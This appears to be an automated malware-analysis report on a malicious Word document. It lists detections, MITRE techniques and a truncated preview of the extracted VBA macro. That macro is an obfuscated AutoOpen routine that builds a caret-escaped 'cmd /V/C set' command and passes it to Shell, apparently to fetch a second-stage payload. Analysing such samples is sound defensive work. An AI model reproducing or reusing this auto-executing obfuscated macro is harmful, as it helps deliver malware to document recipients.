MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro that executes automatically via the AutoOpen subroutine. The macro appears to be heavily obfuscated, making it difficult to determine its exact payload, but its presence and automatic execution strongly suggest it is designed to download and execute a second-stage payload. The heuristic firings confirm the presence of legacy and standard VBA macros, including an AutoOpen macro.
Heuristics 5
-
ClamAV: Doc.Malware.00536d-6691967-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.00536d-6691967-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 14918 bytes |
SHA-256: 23b159fd04d87829146c9d45c6d6450ce2c1dd412d1897a998ebde1e1feecd6f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ncriunTIQoP" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() Const KMBwzErjWDb = 0 Dim QKGkrS(2) QKGkrS(0) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + Left(OEZlA, 194) QKGkrS(1) = Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) Dim NcUjzi(2) NcUjzi(0) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) NcUjzi(1) = Left(OEZlA, 194) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) Dim GVCSq(2) GVCSq(0) = Left(OEZlA, 194) + Right(qkiRB, 199) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330) GVCSq(1) = Left(OEZlA, 194) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) Dim AGRIoa(4) AGRIoa(0) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) AGRIoa(1) = Left(OEZlA, 194) + Left(OEZlA, 194) AGRIoa(2) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) AGRIoa(3) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) Dim tjolfn(3) tjolfn(0) = Right(qkiRB, 199) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + Left(OEZlA, 194) tjolfn(1) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + Right(qkiRB, 199) tjolfn(2) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) Dim DaTjGi(4) DaTjGi(0) = MidB(mlMmUt, 919, 986) + Left(OEZlA, 194) DaTjGi(1) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330) DaTjGi(2) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Left(OEZlA, 194) + Left(OEZlA, 194) DaTjGi(3) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) Dim EMXET(2) EMXET(0) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) EMXET(1) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) Shell@ iwNWN + GFPndUKoZBG + TfnOpMIcdIjkBw + GFQjRrwAIlKMDa, KMBwzErjWDb Dim MZohJp(2) MZohJp(0) = Left(OEZlA, 194) + Right(qkiRB, 199) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) MZohJp(1) = Right(qkiRB, 199) + Right(qkiRB, 199) + Left(OEZlA, 194) + Left(OEZlA, 194) Dim QXpInj(4) QXpInj(0) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) QXpInj(1) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) QXpInj(2) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) QXpInj(3) = Right(qkiRB, 199) + Left(OEZlA, 194) End Sub Attribute VB_Name = "joAZAGcbhmF" Function iwNWN() Dim pMwzj(5) pMwzj(0) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) pMwzj(1) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Left(OEZlA, 194) + Left(OEZlA, 194) pMwzj(2) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) pMwzj(3) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) pMwzj(4) = Left(OEZlA, 194) + Right(qkiRB, 199) Dim jkQLi(2) jkQLi(0) = Right(qkiRB, 199) + Right(qkiRB, 199) jkQLi(1) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) Dim XGFTC(4) XGFTC(0) = MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) XGFTC(1) = MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) XGFTC(2) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) XGFTC(3) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) sWilwjrPZI = CStr(Chr(CleanString(9 + 10 + 18 + 0 + 62))) + "md /" + "V/" + CStr(Chr(CleanString(6 + 7 + 12 + 0 + 42))) + CStr(Chr(CleanString(2 + 3 + 5 + 0 + 24))) + "^se^t" + " D^w" + "T^F= ^ ^ " + "^ " + " ^ ^ ^ ^ ^ " Dim wlGRfo(3) wlGRfo(0) = Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + Left(OEZlA, 194) + Left(OEZlA, 194) wlGRfo(1) = Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) wlGRfo(2) = MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) Dim MBqPc(3) MBqPc(0) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) MBqPc(1) = Mid(pJwtDrb, 47 ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.